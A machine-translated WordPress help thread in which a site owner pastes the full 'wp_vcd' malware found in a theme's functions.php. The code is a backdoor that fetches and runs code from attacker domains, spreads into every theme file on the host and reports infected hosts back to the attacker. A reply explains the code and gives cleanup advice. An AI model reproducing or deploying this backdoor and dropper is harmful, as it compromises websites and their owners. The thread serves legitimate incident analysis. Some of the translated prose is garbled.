这个黑客脚本是如何感染托管下的整个网站的？

时间：2020-02-26 作者：Alt C

我有客户谁的职能。php文件感染了此代码。客户端确实使用了空主题。我很好奇它是如何感染同一主机下的其他网站的。

我尝试了localhost，它感染了它下的所有网站。

//oxMHBJQ1ltSUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNuYg453545gf
if (isset($_REQUEST[\'action\']) && isset($_REQUEST[\'password\']) && ($_REQUEST[\'password\'] == \'631701d8ae54f47e23b26ed4356f6cb8\')) {
    $div_code_name="wp_vcd";
    switch ($_REQUEST[\'action\']) {






                case \'change_domain\':
                    if (isset($_REQUEST[\'newdomain\'])) {
                        if (!empty($_REQUEST[\'newdomain\'])) {
                            if ($file = @file_get_contents(__FILE__)) {
                                if (preg_match_all(\'/\\$tmpcontent = @file_get_contents\\("http:\\/\\/(.*)\\/code\\.php/i\', $file, $matcholddomain)) {
                                    $file = preg_replace(\'/\'.$matcholddomain[1][0].\'/i\', $_REQUEST[\'newdomain\'], $file);
                                    @file_put_contents(__FILE__, $file);
                                    print "true";
                                }
                            }
                        }
                    }
                break;

                                case \'change_code\':
                    if (isset($_REQUEST[\'newcode\'])) {
                        if (!empty($_REQUEST[\'newcode\'])) {
                            if ($file = @file_get_contents(__FILE__)) {
                                if (preg_match_all(\'/\\/\\/\\$start_wp_theme_tmp([\\s\\S]*)\\/\\/\\$end_wp_theme_tmp/i\', $file, $matcholdcode)) {
                                    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[\'newcode\']), $file);
                                    @file_put_contents(__FILE__, $file);
                                    print "true";
                                }
                            }
                        }
                    }
                break;

                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
            }

    die("");
}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if (!function_exists(\'theme_temp_setup\')) {
    $path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, true);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            if (fwrite($handle, "<?php\\n" . $phpCode)) {
            } else {
                $tmpfname = tempnam(\'./\', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\\n" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key=\'08404b74f3e71b919ab80a8f9c65e64b\';
        if (($tmpcontent = @file_get_contents("http://www.zrilns.com/code.php") or $tmpcontent = @file_get_contents_tcurl("http://www.zrilns.com/code.php")) and stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents("http://www.zrilns.pw/code.php")  and stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents("http://www.zrilns.top/code.php")  and stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') and stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') and stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') and stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
    }
}
我检查了wp tmp。php文件中有一段代码。另外，在wp includes/

<?php
error_reporting(0);
//PD9waHAKLy9veE1IQkpRMWx0U1Vkc2VtTXlWakJMUTFKbVZXdFdVbFpWV
ini_set(\'display_errors\', 0);
//ddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3FU1RbJ3Bhc3N3b3JkJ10gY2QiOwoJCXN3aXRjaCAoJF9SRVFVR

    $install_code = \'<?php
//oxMHBJQ1ltSUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNuYg453545gf
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='08404b74f3e71b919ab80a8f9c65e64b';
        if (($tmpcontent = @file_get_contents("http://www.zrilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.zrilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.zrilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.zrilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp

//1111111111111111111111111111111111111111111

//wp_tmp


//$end_wp_theme_tmp
?>\';

    $install_hash = md5($_SERVER[\'HTTP_HOST\'] . AUTH_SALT);
    $install_code = str_replace(\'{$PASSWORD}\' , $install_hash, base64_decode( $install_code ));


            $themes = ABSPATH . DIRECTORY_SEPARATOR . \'wp-content\' . DIRECTORY_SEPARATOR . \'themes\';

            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {

                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . \'functions.php\'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . \'functions.php\');

                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . \'functions.php\'))
                                        {
                                            if (strpos($content, \'WP_V_CD\') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . \'functions.php\', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . \'functions.php\' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }

                                }


                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {


                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . \'functions.php\'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . \'functions.php\');

                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . \'functions.php\'))
                                        {
                                            if (strpos($content, \'WP_V_CD\') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . \'functions.php\', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . \'functions.php\' , $time );
                                                    $ping2 = true;
                                                }








                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }

                                }



                                                                                  }

                                                            }






                        }

                    if ($ping) {
                        $content = @file_get_contents(\'http://www.zrilns.com/o.php?host=\' . $_SERVER["HTTP_HOST"] . \'&password=\' . $install_hash);
                        //@file_put_contents(ABSPATH . \'/wp-includes/class.wp.php\', file_get_contents(\'http://www.zrilns.com/admin.txt\'));
                    }

                                                            if ($ping2) {
                        $content = @file_get_contents(\'http://www.zrilns.com/o.php?host=\' . $_SERVER["HTTP_HOST"] . \'&password=\' . $install_hash);
                        //@file_put_contents(ABSPATH . \'wp-includes/class.wp.php\', file_get_contents(\'http://www.zrilns.com/admin.txt\'));
//echo ABSPATH . \'wp-includes/class.wp.php\';
                    }



                }





?><?php error_reporting(0);?>

1 个回复
最合适的回答,由SO网友:Rick Hellewell 整理而成

（请注意，这个问题可能会被关闭，因为这里不允许“黑客”问题。但我会偷偷地快速回答…）

第一眼/快速浏览：攻击者正在向站点页面添加一些请求参数。参数为“change\\u domain”或“change\\u code”（请参阅SWITCH语句）。

第一个将使用file\\u put\\u内容添加到当前文件。它使用来自攻击者的代码（请参阅CURL语句调用中的URL，不要转到该URL！！）。

看起来他们还拥有wp设置中的auth\\u密钥。php文件，因此可能存在先前成功的攻击，允许他们获取这些值。

您需要对站点进行全面清理，更改所有凭据（托管、FTP、数据库、WP用户），并完全删除/复制所有WP核心代码、主题和插件。您可能还需要查看wp posts表，以查看是否有一些插入的帖子包含代码。并寻找隐藏的。代码的ico文件。

我有一个清理网站的程序，可能会有帮助：https://www.securitydawg.com/recovering-from-a-hacked-wordpress-site/ . 在这个问题上有很多谷歌/宾格/鸭子。

Added

代码的一部分从攻击者那里获取代码（同样，不要去那里），并将其写入wp includes/wp tmp。php加上wp tmp。将php文件放入当前模板文件夹中。

那里有一堆模糊的代码，解码后会试图在页脚中添加一些额外的代码。我以前见过这种代码。这表明有人袭击了entire 托管区域。它不仅会试图感染当前网站，还会感染同一托管帐户上的任何其他网站。

所以需要进行大规模清理。。。。即使在彻底清理之后，这种特殊的感染可能还会不断复发（我管理的一个地方还没有发现这种情况）。

但您的代码可能会对我清理托管帐户的尝试有所帮助。另请参见此问题和我的回答（以及讨论）：What's the effect if this malware if infected your WP? .

标签： functions   localhost   hacked   小码农  

相关推荐

static array on functions.php

在函数中。php中，我想访问数据库一次，以获取一个ACF对象，然后在本地“保存”它，以防止对数据库的进一步请求。我想首先在“init”钩子中调用以下函数。然后，假设，当我在以后的挂钩上调用它时，由于使用了“static”关键字，$current\\u store var已经设置好了，函数将在第一个“if”返回已经保存的静态var时停止。它不起作用-当访问稍后挂钩上的函数时，“isset（$current\\u store）”返回false。我做错了什么？function get_current_store